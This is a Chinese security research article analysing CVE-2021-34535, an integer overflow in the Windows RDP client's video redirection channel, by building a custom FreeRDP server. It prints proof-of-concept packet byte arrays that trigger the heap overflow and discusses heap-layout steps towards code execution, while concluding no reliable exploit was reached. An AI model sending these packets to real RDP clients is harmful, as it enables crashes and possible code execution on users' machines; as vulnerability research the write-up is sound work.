作者:yyjb@360高級攻防實驗室
原文鏈接:http://noahblog.#/cve-2021-34535-rdpke-hu-duan-lou-dong-fen-xi/

背景:

2021年的八月份微軟補丁日,微軟公布的補丁中包含兩個我們比較感興趣的兩個RCE漏洞中,另一個是cve-2021-34535 RDP客戶端的代碼執行漏洞。在現代windows系統中,RDP客戶端不僅僅被使用在RDP協議中,并且hyper-V中,也似乎保留了部分mstscax.dll功能。因此,該漏洞如果可以在實際環境中構造exp,其威脅是比較嚴重的。這里我們的目標對該漏洞是否能夠在實際中使用進行一個大概的分析判斷。并且,因為我們更感興趣該漏洞在RDP協議下的影響,所以本次分析是基于RDP協議的背景環境。

補丁分析:

通過官方的說明,這是一個存在于mstscax.dll中的漏洞,對比補丁前后代碼差異,我們可以比較容易的確認漏洞的基本原理:如下:

img

這是一個典型的整形溢出漏洞,

另外這里我們還可以注意到,RDP客戶端這個代碼執行漏洞位置似乎不僅僅只有這一個整形溢出的可能需要判斷,還需要驗證該sample數據長度是否小于數據包實際攜帶的sample數據。如果實際的流數據長度小于數據包中長度記錄的值,在后續的復制sample數據時,也可能因為讀取超出實際數據長度的地址數據而導致崩潰。

構造POC:

根據官方文檔的描述,這是這里的CRDPstream::DeliverSample函數功能很可能是屬于一個視頻重定向動態虛擬頻道協議下的功能。所以我們能想到的最好的辦法是嘗試在復現一個RDP視頻重定向的功能場景,然后對CRDPstream::DeliverSample目標函數進行標記,一旦真實的RDP客戶端代碼能夠執行存在漏洞的函數,則我們可以直觀的了解到整個漏洞出發路徑。這樣的另一個好處,是不用了解在漏洞函數觸發之前所要做的其他所有工作。不必了解RDP整個初始化過程以及身份驗證階段。

但實際中,我們并不能直接得到這樣的結果,經過測試我們僅僅在sever2008中,通過手動啟用RDPapp,啟用了這種視頻重定向功能,但是我們并不能直接定位到漏洞存在的函數。所以,為了更方便的實現這種視頻重定向協議的各個功能,最好的辦法是需要重建一個RDP服務端,自己根據官方的協議說明文檔修改數據。

我們使用了freeRDP中的server代碼來實現這一點(在windows下,重構的freeRDP中的server代碼可能會有一些兼容性問題,需要修改下個別加載鏡像顯示驅動的一些處理代碼)。

然后回到漏洞觸發函數CRDPstream::DeliverSample,我們在文檔中找到與其最相關的功能是On Sample消息。通過在freeRDP中的server drdynvc_server_thread1()動態虛擬通道線程中添加視頻重定向虛擬動態通道的響應數據包,并構造這一On Sample數據類型:

img

我們最終得到了觸發漏洞路徑的流程(在這個過程中,包含較多繁瑣的的猜測嘗試過程,這里不贅述)。

img

但這里有兩個地方需要說明一下。

一是關于添加虛擬通道并初始化該通道的過程。官方的說明文檔已經非常詳細,但有時候,也并不是每一個細節和特例都會會詳細舉例說明。

為了弄清楚其中的細節。我們可以在服務端交互數據響應處理函數CStubIMMServerData::Dispatch_Invoke()入口下斷點,關注我們感興趣的特定具體類型通道的狀態標志來理解整個通道的創建,關閉,以及其他工作流程。

二是,關于最終漏洞路徑觸發的問題。我們能發現我們已經已經能在視頻重定向虛擬動態通道中觸發一些功能流程,但是并不能進入最終和CRDPstream以及CRDPSource類有關的數據處理函數功能。

這時候,我們可以先關注更上層的CRDPSource這個類的其他函數,如相近功能其他類的DeliverSample功能,或者CRDPSource類本身初始化的功能。找到這類離目標漏洞函數更近的功能,再后續測試流程中不同的參數即能比較容易的找到最終的漏洞觸發路徑。

我們的測試poc中,其包括的視頻重定向動態虛擬通道的功能數據包主要如下:

char str1[] = "\x14\x07\x54\x53\x4d\x46\x00"; //創建動態虛擬通道
char str2_1[] = "\x34\x07" //發送通道參數
"\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00";
char str2_2[] = "\x34\x07" //發送通道參數
"\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";
char str2_3[] = "\x34\x07" //發送通道參數
"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x00\x00\x00\x00";
///
char str3[] = //發送交換信息
"\x34\x07\x00\x00\x00\x40\x00\x00\x00\x00\x00\x01\x00\x00\x02\x00"
"\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x02\x00"
"\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00";
char str4[] = "\x34\x07\x00\x00\x00\x40\x00\x00\x00\x00\x08\x01\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x60\x00\x00\x00\x61\x75\x64\x73\x00\x00" "\x10\x00\x80\x00\x00\xaa\x00\x38\x9b\x71\x10\x16\x00\x00\x00\x00"
"\x10\x00\x80\x00\x00\xaa\x00\x38\x9b\x71\x01\x00\x00\x00\x00\x00" "\x00\x00\x01\x00\x00\x00\x81\x9f\x58\x05\x56\xc3\xce\x11\xbf\x01"
"\x00\xaa\x00\x55\x59\x5a\x20\x00\x00\x00\x10\x16\x02\x00\x80\xbb"
"\x00\x00\x80\x3e\x00\x00\x01\x00\x10\x00\x0e\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x11\x90";
char str5[] = "\x34\x07" //發送通道參數
"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x00\x00\x00";
char str6[] = "\x40\x07"; //關閉通道
char str7[] = "\x14\x08\x54\x53\x4d\x46\x00"; //創建動態虛擬通道
char str8[] = "\x34\x08\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00";
char str9[] = "\x34\x08" //發送通道參數
"\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";
char str10[] = "\x34\x08" //發送通道參數
"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x00\x00\x00\x00";
char str11[] = "\x34\x08" //發送新的呈現對象
"\x00\x00\x00\x40\x00\x00\x00\x00\x05\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";
char str12[] = "\x14\x07\x54\x53\x4d\x46\x00"; //創建動態虛擬通道
char str13[] = "\x34\x07" //發送通道參數
"\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00";
char str14[] = "\x34\x07" //發送通道參數
"\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";
char str15[] = "\x34\x07" //發送通道參數
"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";
///
char str16[] = //發送交換信息
"\x34\x07\x00\x00\x00\x40\x00\x00\x00\x00\x00\x01\x00\x00\x02\x00"
"\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x02\x00"
"\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00";
char str17_0[] = "\x34\x07"
"\x00\x00\x00\x40\x00\x00\x00\x00\x13\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";
char str17[] = "\x34\x07"http://add steam
"\x00\x00\x00\x40\x00\x00\x00\x00\x02\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00"
"\x64\x00\x00\x00\x61\x75\x64\x73\x00\x00\x10\x00\x80\x00\x00\xaa"
"\x00\x38\x9b\x71\x62\x01\x00\x00\x00\x00\x10\x00\x80\x00\x00\xaa"
"\x00\x38\x9b\x71\x00\x00\x00\x00\x01\x00\x00\x00\x00\x10\x00\x00"
"\x81\x9f\x58\x05\x56\xc3\xce\x11\xbf\x01\x00\xaa\x00\x55\x59\x5a"
"\x24\x00\x00\x00\x62\x01\x02\x00\x00\x77\x01\x00\xc0\x5d\x00\x00"
"\x00\x10\x18\x00\x12\x00\x18\x00\x03\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xe0\x00\x00\x00";
char str17_2[] = "\x34\x07"
"\x00\x00\x00\x40\x00\x00\x00\x00\x11\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";
char str18[] = "\x34\x07" //發送示例
"\x00\x00\x00\x40\x00\x00\x00\x00\x03\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00"
"\x46\x01\x00\x00\x37\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00"
"\x00\x00\x00\x00\x15\x16\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x03\x02\x00\x00\x00\xff\xff\xff\x00\x00\x01\xb3\x14\x00\xf0\x13"
"\xff\xff\xe0\xc1\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14" "\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x09\x9c\x9a\x91\x80\x0c\x00\x1b\x93\x78";

Exp的嘗試:

目前,我們可以獲取的是一個對堆地址的溢出,并且可溢出數據的長度非常長達到0xFFFF FFFF級別,通常來說,這容易這種溢出很容易造成崩潰,不利用穩定利用。但溢出的內容是絕大部分可控的。在之前的分析調試中,我們可以注意到RDP協議中包含大量的重載虛函數,我們只需要提前布局一些可控的這種大內存堆,獲取一個虛函數指針的跳轉引用是可能的。

然而常規思路來說,最大的問題是缺少一個應用層可靠的跳轉地址,來完成漏洞利用的第二階段代碼執行過程。我們沒有一個具體的目標來實跳轉。所以,我們需要嘗試分析這樣的可能:是否可以找到協議RDP客戶端另外的功能,能夠通過溢出控制其他客戶端返回的數據長度來進行信息泄露。

但是通過后續分析現有的RDP通訊流程,發現絕大部分的數據都是從服務端發往客戶端,客戶端發送返回的大部分都是基于指令或者反饋的消息代碼。似乎較難發現可靠的信息泄露方式。

總結:

通過整體的分析,可以看出相對于需要驗證登錄的服務端,一旦輕易相信服務端可靠性,并且由于RDP本身協議的復雜性,RDP客戶端可能存在更廣的被攻擊面。

后續可能會有其他更多的的客戶端漏洞被發現,但是要在最新的windows系統上利用這類RDP客戶都安代碼執行漏洞,似乎更迫切需要一個較穩定的信息泄露漏洞。

另外,對于該漏洞,我們并沒有在hyper-V的具體環境中測試,在這里并不確定除了RDP協議本身之外的交互數據之外,hyper-V中是否一些更容易構造的讀寫源語來做到客戶端可靠的信息泄露。

參考:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34535

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpev/5b62eacc-689f-4c53-b493-254b8685a5f6

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1898/